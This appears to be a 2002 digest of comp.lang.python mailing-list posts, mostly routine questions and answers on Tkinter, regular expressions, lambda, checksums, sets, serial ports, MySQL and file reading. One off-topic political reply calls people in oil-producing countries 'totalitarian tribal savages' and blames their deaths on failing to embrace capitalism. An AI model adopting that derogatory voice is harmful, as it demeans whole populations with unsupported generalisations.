call last): > File "", line 18, in ? > File "", line 11, in __init__ > File "/usr/lib/python2.1/lib-tk/Tkinter.py", line 2951, in configure > self.tk.call((self.name, 'config') + res) > TclError: couldn't recognize data in image file "bla.tif" > > Here's the error for the same, using a PNG instead: > > Traceback (most recent call last): > File "", line 18, in ? > File "", line 11, in __init__ > File "/usr/lib/python2.1/lib-tk/Tkinter.py", line 2951, in configure > self.tk.call((self.name, 'config') + res) > TclError: couldn't recognize data in image file "bla.png" > > And the error for a JPG: > > Traceback (most recent call last): > File "", line 18, in ? > File "", line 11, in __init__ > File "/usr/lib/python2.1/lib-tk/Tkinter.py", line 2951, in configure > self.tk.call((self.name, 'config') + res) > TclError: couldn't recognize data in image file "bla.jpg" > > All of the images load fine in GIMP From aleax at aleax.it Thu May 2 13:00:11 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 17:00:11 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: Bengt Richter wrote: ... >>> Is there any forced need for Lambda's in Python ? I mean does Lambda >>> contribute anything that cannot be done otherwise in Python ? >> >>Not really. lambda lets you have an anonymous function, and create >>a function within an expression (while def is a statement and does > A thought: being ble to do it in an expression allows taking advantage > of short-circuit evaluation to avoid some problem in a lambda def form > vs another. ...while doing it with a def would let you much more easily with an appropriate if/else: if doitoneway: def foo(): return whatever else: def foo(): return somethingelse > What do you think re short circuit evaluation vav lambda? Given the lack of a ternary operator in Python (insert appropriate smiley fraction here), if/else is much more comfortable for this. Alex From larooy at xtar.co.nz Wed May 15 03:58:11 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Wed, 15 May 2002 19:58:11 +1200 Subject: RegEx References: <3CE12A85.1030105@thomas-guettler.de> Message-ID: <20020515195811.5fb6d23c.larooy@xtar.co.nz> Don't they get messy quickly? another way to escape the parenthesis is to use the [] grouping re.compile('[()]') Well it *is* more symetrical. Is it more readable? John On Tue, 14 May 2002 17:17:25 +0200 Thomas Guettler wrote: > > > Parenthesis are special in regular expressions. They are used > for grouping. Use re.compile(r'\(|\)', ...) to match paranthesis. > > > thomas > From chwieser at tk28.oulu.fi Sun May 5 09:33:37 2002 From: chwieser at tk28.oulu.fi (Christian Wieser) Date: 5 May 2002 13:33:37 GMT Subject: libpcap & Tktiner Message-ID: Hi, tho I have read quite a lot of different solutions for my problem, I still could not sort it out. Thats why I dare to ask you gurus for some help: I use pylibpcap-0.3.1 and python-2.2.1. Thats what I want to do: * Set up the GUI * sniff for UDP-packets * add new UDP connections to GUI * if no packet arrives within a timeout, erase entry Problems: * GUI freezes when no packets arrive * Timeout does not work Thats how I tried to do it: [snip] class GuiPart: def __init__(self, master, queue_new, queue_delete, endCommand): self.queue_new = queue_new self.queue_delete = queue_delete # Set up the GUI self.multiListBox = MultiListbox(master, (('Source', 20), ('Destination', 20), ('BLA',4)), height=20, bg='white') self.multiListBox.pack(expand=Tkinter.YES,fill=Tkinter.BOTH) console = Tkinter.Button(master, text='Done', command=endCommand) console.pack() # Add more GUI stuff here def processIncoming(self): """ Handle all the messages currently in the queue (if any). """ #Insert new entries print "processIncoming" while self.queue_new.qsize(): try: msg = self.queue_new.get(0) self.multiListBox.insert (Tkinter.END, msg) except Queue.Empty: pass #Erease expired entries while self.queue_delete.qsize(): try: msg = self.queue_delete.get(0) self.multiListBox.delete(msg) except Queue.Empty: pass class List_UDP_Streams: """ """ def __init__(self, master): """ Start the GUI and the asynchronous threads. And initiate modules """ self.master = master # Create the queues self.queue_new = Queue.Queue() self.queue_delete = Queue.Queue() # Set up the GUI part self.gui = GuiPart(self.master, self.queue_new, self.queue_delete, self.endApplication) self.timeout = 2 [snip] self.running = 1 self.thread_new_connection = threading.Thread(target=self.workerThread_new_connection) self.thread_new_connection.start() self.thread_delete_entry = threading.Thread(target=self.workerThread_delete_entry) self.thread_delete_entry.start() # Start the periodic call in the GUI to check if the queue contains # anything self.periodicCall() def periodicCall(self): """ Check every 100 ms if there is something new in the queue. """ print "periodicCall" self.gui.processIncoming() if not self.running: # This is the brutal stop of the system. You may want to do # some cleanup before actually shutting it down. print "periodicCall -> Exit" import sys sys.exit(1) self.master.after(100, self.periodicCall) def workerThread_new_connection(self): while self.running: self.p.dispatch(1, self.pcap_callback) def pcap_callback(self,plen, pkt): #print 'pcap_callback' [snip] def workerThread_delete_entry(self): """ checks every second for timed out connections and ereases them form """ while self.running: print "timeout(self) called" [if packet in list and timed out] self.queue_delete_entry.put(i) time.sleep(1000) def endApplication(self): self.running = 0 self.master.quit() root = Tkinter.Tk() print root client = List_UDP_Streams(root) root.mainloop() Thanks for helping me out, -- Christian Wieser mailto:chwieser at ee.oulu.fi "Out of the crooked timber of humanity, no straight thing was ever made" - Immanuel Kant From tim_sleptsov at mtu-net.ru Fri May 24 11:40:48 2002 From: tim_sleptsov at mtu-net.ru (Timothey) Date: 24 May 2002 19:40:48 +0400 Subject: uspp Message-ID: <863cwh7dvj.fsf@mtu-net.ru> In my work i use uspp module, for work with serial port under windows. uspp (in windows) work with serial port via win32module. And i behold that under Win98, WinMe uspp work fine, but under Win2000, when i try read data from serial port, i get error message, as result no data arrived. It is normal or not? -- Best regards Timothey Sleptsov e-mail: tim_sleptsov at fromru.com tim_sleptsov at mtu-net.ru From tundra at tundraware.com Tue May 21 22:50:04 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Wed, 22 May 2002 02:50:04 GMT Subject: OT: The sun shines out of big business References: <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <20020521143354.Q4474@regdp-02.intint.registriesltd.com.au> <3CE9FF2F.DD6CF828@cascade-sys.com> Message-ID: <3CEB0536.1E4F6D53@tundraware.com> "David K. Trudgett" wrote: > > Hi James, > > Thanks for your detailed reply. As this is OT, however, I will be > brief. Suffice it to say I don't agree with anything you said, though > I make a couple of specific notes below. > > On Tuesday 2002-05-21 at 01:02:55 -0700, James J. Besemer wrote: > > > Nothing in my reply was intended to specifically criticize your post. In > > Well, that's good. Nothing in my post was meant to suggest you were > referring to me in particular. > > > I merely felt compelled to praise Tim's, mainly because he did argue at > > length why the contrary views are short sighted and (IMHO) child-like. > > Furthermore, I found it a refreshing change of pace from the MS ankle > > biting that is so prevalent here. > > Oh, yes, I fully see your point! I also find it immensely refreshing > to read about the US energy war in Afghanistan. It makes such a change > from the anti-terrorist propaganda one hears all the time. Perhaps So 3000+ dead is merely "propaganda" - interesting. Just *what* would it take to get you to "buy" the premise that the threat of "terrorism/asymmetric warfare" is real, present, and directed at the heart of all free societies? A vision from On High? A directive from your government? The loss of someone close enough to you that you'd notice? Talk is cheap when you're not under threat. All free societies are at risk in some degree here, but the US alone will carry the brunt of it because we are seen as the opinion leader in the West. It is morally offensive to me as a "converted" American (I was born a Commonwealth citizen) for you or anyone to categorize the present situation as propaganda. > George Dubya and his oil cronies should just cut right through it all > and tell people like it is. It's not at all as if big business is > killing, torturing and starving thousands or millions of innocent men, > women and children. It's not like that at all. In fact, it would be > libelous even to think it. I completely agree with you. My US tax dollars should never be used in the interest of propping up foreign powers who happen to have a bunch of dead dinosaur remains under their sand. I'm sick of my money and my fellow citizens' lives being spent to further the interests of a bunch of totalitarian tribal savages. Furthermore, said tax dollars should *never* be given away to foreign nations of any stripe, no matter how much the come begging at our door for handouts. This should not only apply to the 3rd-world, but also to our nominal "allies" who are quick to ask us to bail them out of their military and economic woes and even quicker to complain about our "big business, torturing and starving thousands" - what a crock. The people dying by the thousands are doing so because they have failed to overthrow their dictators and embrace Capitalism. > > David Trudgett -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From brueckd at tbye.com Tue May 14 12:13:09 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Tue, 14 May 2002 09:13:09 -0700 (PDT) Subject: #ifdef like question. In-Reply-To: <7647A9F4B298E74DB6793865DA67285004B348@exchange.adrembi.com> Message-ID: On Tue, 14 May 2002, Roman Yakovenko wrote: > Well, it's really dirty way to do it. > > Guys don't you think that we have some nice method to solve this problem ? > > The problem: writing code using new futures( like generators, ...) > and code with the same functionality ( interface ) but using old methods. > > There are a few solutions: If you really need to do this, it's pretty clean to just ship both modules and have your package file (__init__.py) import the correct one at runtime. That being said, the best solution IMO is also the simplest: don't do it. If you need to support older versions of Python, write the code so that it uses features present in the older versions. If you need/want to use newer features, include "requires Python 2.7" or whatever in some prominent location in the docs/website and call it good. There may be some cases where you absolutely must support both, but unless it's a strict requirement it probably isn't worth the hassle. Think of it this way: is the time and energy required to write, debug, and maintain *two* versions of identical functionality really worth it or would that energy be better spent elsewhere? If you've already built the backwards compatible one, how much benefit will the new one really give you? And if you need the new features to ensure correct functionality, does providing a flaky/hacky backwards compatible workaround really help your users? I'd wager that in most cases it's best for everyone involved if you just choose one and do it well. -Dave From ctgaff at attbi.com Wed May 29 21:13:37 2002 From: ctgaff at attbi.com (Corey G.) Date: Wed, 29 May 2002 20:13:37 -0500 Subject: matching one time through a loop Message-ID: <20020530011337.GA37921@attbi.com> I have a script that parses some email from a Maildir directory and I am looking for the number 550. I want to stop searching once the first occurrence is found in order to save time and be efficient. This sort of thing can be done in Perl using the "last" statement. I achieved my goal by using a counter but it seems terribly inefficient. Any ideas? #!/usr/local/bin/python import re import glob tglob=glob.glob('/home/pmail/Maildir/test3/*') for i in tglob: count=0 file=open(i, 'r') contents = file.readlines() for sepem in contents: tm=re.compile(" 550 ") match=tm.search(sepem) if match: if count == 0: count+=1 print match.group(), i -- Best Regards, Corey From robin at jessikat.fsnet.co.uk Tue May 28 06:00:39 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Tue, 28 May 2002 11:00:39 +0100 Subject: Checksum code References: <93qe6WAvoz88Ewdb@jessikat.fsnet.co.uk> Message-ID: In fact I was wrong and in practice the (0L+x+y)&0xFFFFFFFFL code didn't seem to work out for all data streams. It seems easier to just use the protected 32bit code all the time ie def _add32(x, y): "Calculate (x + y) modulo 2**32" lo = (x & 0xFFFF) + (y & 0xFFFF) hi = (x >> 16) + (y >> 16) + (lo >> 16) return (hi << 16) | (lo & 0xFFFF) def calcChecksum(data): """Calculates PDF-style checksums""" if len(data)&3: data = data + (4-(len(data)&3))*"\0" sum = 0 for n in unpack(">%dl" % (len(data)>>2), data): lo = (sum & 0xFFFF) + (n & 0xFFFF) hi = (sum >> 16) + (n >> 16) + (lo >> 16) sum = (hi << 16) | (lo & 0xFFFF) return sum -- Robin Becker From fperez528 at yahoo.com Fri May 17 20:29:37 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Fri, 17 May 2002 18:29:37 -0600 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58757.5146706E@alcyone.com> <3CE59F5C.B35CAC28@alcyone.com> Message-ID: Erik Max Francis wrote: > Of course; we're just disagreeing on where that line should be drawn in > this case. > > What would, then, be a reasonable implementation of a set (with mutable > objects) in Python? The immutable keys in Python dictionaries already > sets a precedent for this effort being on the far side of practicality. Oh, I'm just jumping in the middle of a discussion, I haven't given the implementation problem any thought at all, and don't have the need/time to do it right now. So I'll just be cheering from the sidelines in this case ;) Cheers, f. From aleax at aleax.it Mon May 13 04:34:38 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 08:34:38 GMT Subject: add_command References: <5nxD8.33442$CN3.1163150@news2.tin.it> Message-ID: Gorny wrote: ... >> Anyway, the special-case you need is something line (in Python 2.2, >> or 2.1 with "from __future__ import nested_scopes"): >> >> def curry(func, *args, **kwds): >> def curried(): return func(*args, **kwds) >> return curried >> >> then you'll call something like >> >> status.add_command(label='wh00t', >> command=curry(self.func, *tuple_containing_args)) > > Allright, that'll do fine. I've read the corresponding PEP and it seems > perfectly clear to me. But in the future (as of 2.3) I assume that you > don't have to import anything and the nested_scopes are implemented > within Python's core? You don't have to import anything in Python 2.2, either - I was just mentioning the import as needed in Python _2.1_, which is still out and about (the current stable release of Zope needs 2.1.3, I think). You can also curry in Python 1.5.2 should you need to -- it's just a _little_ bit clunkier perhaps: def curry(func, *args, **kwds): def curried(f=func, a=args, k=kwds): return apply(f, a, k) return curried This works in any Python release (1.5.2 and later, at least) and, apart from clarity or *tiny* performance differences, the only real issue is that with this version you might accidentally call the function built and returned from curry with an argument and thus break the mechanism -- the 2.2 solution has no such risk (the function built and returned from that version of curry takes no arguments whatsoever, so trying to call it with an argument at once raises an exception; the 1.5.2 solution uses "default values of arguments" to compensate for the lack of lexically nested scopes). Alex From jb at cascade-sys.com Fri May 17 07:21:24 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 04:21:24 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: Message-ID: <3CE4E7B4.36631728@cascade-sys.com> "Denis S. Otkidach" wrote: > On Thu, 16 May 2002, Roman Suzi wrote: > > That's to complex. Maybe sets should be always immutable like > tuples? Python has clear precedent for doing so, in that strings, tuples and long integers all are immutable. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From jeremy at jdyallop.freeserve.co.uk Wed May 15 11:57:35 2002 From: jeremy at jdyallop.freeserve.co.uk (Jeremy Yallop) Date: 15 May 2002 15:57:35 GMT Subject: Best book for python? References: Message-ID: * obantec support | I need to get up to speed on python so am looking for a book. | Quite a few at amazon to choose from. | Any recommendations? Have you looked at http://www.python.org/doc/ ? Jeremy. From shalehperry at attbi.com Wed May 29 16:05:34 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 29 May 2002 13:05:34 -0700 (PDT) Subject: Why no open(f, "w").write()? In-Reply-To: Message-ID: On 29-May-2002 Michael P. Soulier wrote: > On 24 May 2002 07:53:38 GMT, Markus Demleitner > wrote: >> >> The Jython docs state that >> open("some.name", "w").write(stuff) >> is bad programming practice (and indeed claim that in Jython, >> the above construct leaves some.name empty). > > I can't speak for Jython, but in CPython 2.1, it works fine. > >>>> stuff = "stuff to write" >>>> open('stufffile', "w").write(stuff) >>>> open('stufffile', "r").read() > 'stuff to write' > yes, but can you disagree with the statement that it is bad programming practice. I sure can't. From shalehperry at attbi.com Mon May 13 16:31:33 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Mon, 13 May 2002 13:31:33 -0700 (PDT) Subject: Read file from bottom In-Reply-To: <3CE01380.81F9A087@jpl.nasa.gov> Message-ID: On 13-May-2002 Julia Bell wrote: > I'm currently using > line = input_handle.readline() > to read individual lines from an input file; however, I'm only generally > interested in the last few lines of the line (not the preceeding several > thousand lines). > > Is there an efficient (and relatively easy - I'm new to Python) way of > reading the file from the last line backward instead of the first line > forward? > > (I do not want to read the entire file using readlines because it could > overwhelm the memory.) > unfortunately, no. The file does not store information about the number of lines or even lines in general. A common practice is to read the file once just to count the lines and then read it again with this knowledge in hand. For instnace once you know that you have 1234 lines in a file you can do: desired = 15 # number of lines we want # count is set to 1234 from previous code end = count - desired i = 0 while i < end: # eat the lines we do not care about line = file.readline() i = i + 1 # now deal with the 'desired' lines From dag at animagicnet.no Wed May 8 08:10:32 2002 From: dag at animagicnet.no (dag at animagicnet.no) Date: 8 May 2002 12:10:32 GMT Subject: Whats so good about Python? References: <8580b02e.0205071527.5b6ce52f@posting.google.com> Message-ID: In article <8580b02e.0205071527.5b6ce52f at posting.google.com>, BHE wrote: > People have said good things about Python but Ive never used it. > I use Perl and Java and C++. > I'm a perl -> python convert and there really is one main reason I switched, and that is language syntax. Python was just so much easier and cleaner to read and write. With python I spent less time hunting obscure sytax bugs and looking up the correct way to do something. Almost everything simply works the way a expect it work. All this means that with python I get more done and get it done quickly. Anything beyond that is pretty much irrelevant to me. That being said I still use perl for quick data-munging throw away scripts, but just about everything else I do in python. Dag From adam at gliwice.pl Fri May 10 14:45:09 2002 From: adam at gliwice.pl (Adam Przybyla) Date: Fri, 10 May 2002 18:45:09 +0000 (UTC) Subject: accessing serial/parallel port from Python References: Message-ID: Nick Evans wrote: > Hello group, > Could anyone tell me if it is possable to access the > Physical ports of a computer from python. I have a few electronic projects > that i originally wrote programes in QBasic to access them, but i would like > to start using python. ... try pyserial. Regards Adam Przybyla From nospam at bigfoot.com Thu May 30 17:49:30 2002 From: nospam at bigfoot.com (Gillou) Date: Thu, 30 May 2002 23:49:30 +0200 Subject: Running a script as a daemon at boot time References: Message-ID: Hi, Assuming the daemon runs as root or as a user that can write to /var/log, try to change your daemon command like in the start() block with the following... daemon /usr/local/bin/gbqpd > /var/log/gbqpd.log 2> /var/log/gbqpd.err Have a look to those files (/var/log/gbqpd.log and /var/log/gbqpd.err) post portem. You'll certainly get more info from there. HTH --Gilles From eggy at island.net Thu May 30 14:58:43 2002 From: eggy at island.net (Alex Eggenberger) Date: 30 May 2002 11:58:43 -0700 Subject: win32: popen works, popen3 causes hang Message-ID: <930dfcf0.0205301058.6917c599@posting.google.com> I am trying to launch a program called leonardo spectrum from python and retrieve the stdout and stderr that results. spectrum.exe is strictly command line under win32. Here is what I have encountered: launching spectrum.exe using the following call: output = os.popen('spectrum.exe -file script.tcl') The result is as expected, the program runs and I use output.read() to get stdout. I need some info from stderr. So I would like to use popen3 like this: output = os.popen3('spectrum.exe -file script.tcl') This causes spectrum.exe to hang. I can tell it is hung on spectrum.exe because I can see the process persists indefinitely in Task Manager. Is there a difference in the popen and popen3 operate that could be causing this problem. Everything else except the popen call is identical in the two cases. Any help or suggestions would be appreciated. Alex From akuchlin at ute.mems-exchange.org Wed May 1 17:01:57 2002 From: akuchlin at ute.mems-exchange.org (A.M. Kuchling) Date: 01 May 2002 21:01:57 GMT Subject: python cryptography toolkit References: <87it68b3z2.fsf@tux.ntw23.fr> <87d6wfbt9o.fsf@tux.ntw23.fr> Message-ID: In article <87d6wfbt9o.fsf at tux.ntw23.fr>, Sylvain Thenault wrote: > * where is the Crypto.PublicKey module mentionned in section 5 ? Gone; I've removed the PublicKey code because the interface was all wrong, and I have no idea what the right interface is. Paul Rubin is apparently working on public-key code, and that will be worth checking out. The docs aren't fully up to date for the new code yet. > * according to the doc, all hash modules should define a 'digest_size' > variable, but MD5 doesn't and SHA defines 'digestsize' Oh, I hadn't thought of this! Python comes with MD5 and SHA modules, and Crypto.Hash.MD5 simply does 'from md5 import *' to make Python's module available, but if you're on an older version of Python, the md5 module might not support digest_size. Hmm... I'm going to have to add code to MD5.py to fix this. --amk (www.amk.ca) When the honey of another's life touches my nervous system I could almost be sucking on God's little finger. -- The Head, in ENIGMA #1: "The Lizard, The Head, The Enigma" From larooy at xtar.co.nz Sun May 19 03:40:04 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Sun, 19 May 2002 19:40:04 +1200 Subject: regexp search for variable and string References: Message-ID: <20020519194004.6886312f.larooy@xtar.co.nz> On 18 May 2002 20:44:32 -0700 lazerpub at yahoo.com (Joshua Newman) wrote: > Sorry if this has been asked and answered innumerable times. I > couldn't find the answer anywhere. > > I'm trying to grab some news with wget and python. > I can't regexp for a variable (date) and specific words in the same > re.compile expression. Any hints? > > #get today's date > date= time.strftime("%Y/%m/%d", time.localtime(time.time())) > > #construct a string to search for today's date and wire services but no > #sports or index pages > restring="""r'("""+date+"""|aponline|reuters)(?!/sports|.*index.html)'""" > today=re.compile(restring) > > #above doesn't work, but: > #today=re.compile(r'(2002/05/19|aponline|reuters)(?!/sports|.*index.html)' > #works fine with: > todaysurl=re.findall(today,onlinenewspaperURLs) > > Can I do this in one regexp? > Thanks for the help > > Joshua You're using too many quotes. Why not just today = re.compile(r'(%s|aponline|reuters)(?!/sports|.*index.html)'%date) or today = re.compile(r'('+date+r'|aponline|reuters)(?!/sports|.*index.html)') there's also no need to use raw strings here. John From sholden at holdenweb.com Tue May 7 17:37:06 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 7 May 2002 17:37:06 -0400 Subject: MySQL questions References: Message-ID: "Billy Ng" wrote ... > Sorry guys, I can't get any help from the mysql newsgroup. That's why I > post it here. > Well, at least you tried ... > Question 1 > I have a freq field that contains '"15:0" MINUTE_SECOND', why can't I do > this? > > UPDATE table SET set next_update=DATE_ADD(NOW(), INTERVAL table.freq); > Perhaps if you explained what it was you were trying to do, then we might be able to explain how to do it in SQL and/or Python. Seems like you want to add an interval specified in hours and minutes (as a string?) in a row of one table to a field in a row of some other table. Is "freq" in the same table as "next_update"? Is there just one row in this table? If the table rows aren't huge, maybe you cxould even give us their definition (from the "DESCRIBE table" SQL command). > Question2 > How can I INSERT a record into the table if the table does not have any > record with a provided id in the id field? Do I need to join a SELECT > statement? > You mean the table has no primary key? That would make it rather difficult to uniquely specify (with a WHERE clause) which row to update. The usual way to get around this is to use an INTEGER AUTO_INCREMENT field as the primary key. When you insert into a table with such a key, but provide no value for the key field (or specifically provide a NULL value) MySQL puts a unique value for that field in the inserted row. You can retrieve the inserted value in SQL using the last_inserted() or some similar function whose name escapes me for the moment. > Question3 > Can I query from a query in MySQL? > You mean can the output of one query become the input of another? Only if you store the first query's output in a temporary table. Most often, however, this isn't necessary if you make your SQL queries a little more complex. Again, a few more details might help... regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From usenet at horvath.com Wed May 15 22:23:53 2002 From: usenet at horvath.com (Bob Horvath) Date: Wed, 15 May 2002 21:23:53 -0500 Subject: Read file from bottom References: <3CE01380.81F9A087@jpl.nasa.gov> Message-ID: <3CE31839.2020007@horvath.com> Julia Bell wrote: > I'm currently using > line = input_handle.readline() > to read individual lines from an input file; however, I'm only generally > interested in the last few lines of the line (not the preceeding several > thousand lines). > > Is there an efficient (and relatively easy - I'm new to Python) way of > reading the file from the last line backward instead of the first line > forward? > > (I do not want to read the entire file using readlines because it could > overwhelm the memory.) > > How about a iterator way of doing it (python 2.2)... def lastlines(fname,n=10): lines = [] for line in open(fname): if len(lines) == n: lines = lines[1:] lines.append(line) return lines From erno-news at erno.iki.fi Thu May 2 12:13:52 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 02 May 2002 19:13:52 +0300 Subject: Packing data References: <3CD0850E.94E6EC5F@uniserve.com> Message-ID: In article , Jeff Shannon writes: | Presuming that var is a list of ints, the following will be much | more efficient than your code, without requiring array/struct. | def mkstring(var): | var = [chr(a) for a in var] | return ''.join(var) import string, time def time_fun(f): start = time.time() f() elapsed = time.time() - start print f, round(elapsed, 2) L = [42]*1000000 def listcomp_test(): return string.join([chr(x) for x in L], '') def map_test(): return string.join(map(chr, L), '') assert map_test() == listcomp_test() for f in listcomp_test, map_test: time_fun(f) prints, for me: % python ding.py 6.82 1.83 python ding.py 17.44s user 0.16s system 98% cpu 17.897 total the map version is also more readable, imho. -- erno From emile at fenx.com Thu May 30 19:24:12 2002 From: emile at fenx.com (Emile van Sebille) Date: Thu, 30 May 2002 23:24:12 GMT Subject: Where can I find .join() in the docs References: Message-ID: > Good point. How many people feel that the Python docs would be improved > by the addition of an index? And in case the response is overwhelming, > who currently manages the docs so I could volunteer to work on an index? > That would be Fred Drake. But indexing isn't the full answer. Ask a newbie to wade through http://web.pydoc.org/2.2/search.cgi?key=join to see what I mean, although the ActivePython Documentation index gets closer. -- Emile van Sebille emile at fenx.com --------- From rjones at ekit-inc.com Wed May 22 18:46:50 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Thu, 23 May 2002 08:46:50 +1000 Subject: Gadfly: single-quote in varchar? In-Reply-To: <02A868B5-6DB0-11D6-8804-003065B33450@intersight.com> References: <02A868B5-6DB0-11D6-8804-003065B33450@intersight.com> Message-ID: <200205230846.50759.rjones@ekit-inc.com> On Thu, 23 May 2002 04:16, Sam Penrose wrote: > Bill was right. Sigh. Thanks, Bill. > > MySQL-never-had-this-problem-ly, > s MySQL deviates from the SQL "standard" in a lot of ways. Some of it is beneficial, like this. Bashing gadfly ain't going to get you responses in the future. Richard From tonyclick at mindspring.com Thu May 30 21:19:25 2002 From: tonyclick at mindspring.com (Banar-Tul) Date: Thu, 30 May 2002 21:19:25 -0400 Subject: What am I doing wrong? Message-ID: I am just starting with Python an I am running into a head stratching delima. I am using SuSe 7.3 Pro with Python 2.1.1. I start Python by typing python at the following prompt. user at linux:~> python From there I can work interactively such as; >>> print "Hello World" Hello World But I am trying to follow the examples in Learning Python which instructs % cat threenames.py [example code] but the only prompt I get is the >>>. If I type % cat threenames.py after that prompt I get this, File "", line 1 % cat threenames.py ^ SyntaxError: invalid sytax >>> So, what am I missing here? I am pouring other the various Python books I have and I can't see what I am doing wrong. I figure it is something straight foward, I just don't know what it is. If anyone could help me here, I would appreciate it. Thanks! From cliechti at gmx.net Fri May 17 14:34:19 2002 From: cliechti at gmx.net (Chris Liechti) Date: 17 May 2002 20:34:19 +0200 Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: shagshag13 at yahoo.fr (Shagshag) wrote in news:409a56e2.0205170047.429beb44 at posting.google.com: > Newbie to python, i was wondering how *skilled* guys code with it : .. . > So how do you do it ? Which tools do you use ? > (i'm on window, freeware if possible or not to expensive...) i use pythonwin. usualy i run the programms in a separate console (BASH, cmd/command.com is ok too). running them sepaately saves you from some troubles when doing gui programming and threading. it's also easier to kill a prog in an endless loop and much output/long lines is no problem (while pythonwin and idle become slow with wery long lines). i try out simple things directly in the interactive console of pythonwin. chris -- Chris From dalke at dalkescientific.com Wed May 15 09:21:28 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 15 May 2002 07:21:28 -0600 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <3CE1C502.BF27501D@cosc.canterbury.ac.nz> <3CE1FE30.3060803@mxm.dk> Message-ID: Max M: >Bridge building is much simpler than programming. What does that mean? A simple roadway bridge takes (I imagine) a dozen people over a couple days. A simple program can be written by one person in a single day. How do you compare the Skyway bridge in Florida to Python? The Bay Bridge in San Francisco to MS Outlook? >If we only made the same kind of software for years and had been thought >in school exactly how to build that kind of software I would bet that it >would be great software. You might also be interested in reading Henry Petroski's "To Engineer is Human." Quoting from p81 in my copy (and but one of many quotes I could have used) The engineering task of designing a bridge shared qualities with the tasks of both poetry and science. Like poetry the exact bridge one designer conceives to span a given space during a given technical era may never exist in the mind of any other engineer at any other time. Yet, like discoveries in science, if the theoretical and motivational foundations for a bridge are laid, then a bridge will be build, and it will be the bridge or that place and time no matter who designed it. No poetic license is allowed in the design of the details of the bridge, for an erratic line on the blueprint or an eccentric number in a claculation can be the downfall of the structure, no matter how much like a sound bridge it looks on paper. And today, if a computer is used, even so small an error as an inadvertent slip of a punctuation mark, decimal point, or sign in an equation can lead to a bridge that fails even if the computer model works. Anyway, there's quite a bit there on building bridges, and the philosophy of engineering in general. The book goes into why engineering fails. For example, it mentions a cartoon by Ton Auth ... the falling Skylab striking a flying DC-10, itself loaded with Ford Pintos fitted with Firestone 500 tires, with the entire wreckage falling on Three Mile Island, where the fire would be extinguished with asbestos hair dryers. BTW, as far as I can tell the reason for the difference is that bridge failures kill people. Software, for the most part, doesn't. (That which could is often built to better standards.) And people have decided with their economic power that they are willing to buy buggy software that does at least something useful rather than wait or pay more for good software. I think it also something to do with the tendency of most people to ignore small problems, nor realizing they add up. It takes my machines about 4 minutes to (re)boot. If I sit around waiting for them every day I waste about 20 hours of my life a year just waiting. If there are 100 million computer users, that's 4,000 people lives wasted in a bootup, per year. (Assuming I did my math right.) Yet people are willing to put up with "oh, it's only a few minutes each day." Andrew From shagshag13 at yahoo.fr Fri May 31 14:13:12 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Fri, 31 May 2002 20:13:12 +0200 Subject: OverflowError: math range error ??? References: Message-ID: I've find a thread called "Python-Dev] RE: [Numpy-discussion] RE: Possible bug..." about math functions ' behaviour in Python, does it mean that i had reach sone kind of max or min for my log ? Is there a way to fix this ? Does NumPy now (the thread is 2000-10-11) fix this kind of behaviour ? Where could i find more info ? (i'm really annoyed and hope that python won't let me down...) Thanks in advance for any help, s13. From mcherm at destiny.com Thu May 9 10:03:07 2002 From: mcherm at destiny.com (Michael Chermside) Date: Thu, 09 May 2002 10:03:07 -0400 Subject: Stackless python + official python ? Message-ID: <3CDA819B.1040308@destiny.com> [discussion of Stackless being accepted into the main Python distrib] > Maybe Guido'll decide Stackless belongs in. Maybe > Christian will decide he wants to do whatever is > necessary to get Stackless in. More likely, I > think, is that Christian continues to maintain > Stackless as an alternate implementation. I would just like to point out that NOT integrating Stackless into the main Python distribution is NOT NECESSARILY BAD! It is also doesn't necessarily reflect poorly on Christian or Guido. It might make a LOT of sense to have TWO distributions, one which is INCREDIBLY platform-independent, and one of which has some VERY advanced and powerful multi-threading capabilities. To merge them would result in loss or weakening of one (or both!) of those features -- a real shame. But having BOTH distributions satisfies EVERYONE. It might be a good idea to distribute stackless from the main Python.org site (although I don't think Christian is ready for that right this moment given where he is in the re-write). It might be a good idea to work hard at keeping the distributions up-to-date (ie, when 2.4.2 comes out for c-python it is followed immediately (or simultaneously) with stackless 2.4.2. But we don't have to merge Stackless into the main c-python distribution in order to promote it... we can simply promote BOTH as closely-related solutions to slightly different problems. -- Michael Chermside From mkc+dated+1023593563.d9fedd at mathdogs.com Thu May 9 23:36:50 2002 From: mkc+dated+1023593563.d9fedd at mathdogs.com (Mike Coleman) Date: 09 May 2002 22:36:50 -0500 Subject: Python vs. Perl, which is better to learn? References: <3CDAF5E4.8495CF8C@fnal.gov> Message-ID: <87661wznal.fsf@mathdogs.com> "David J. 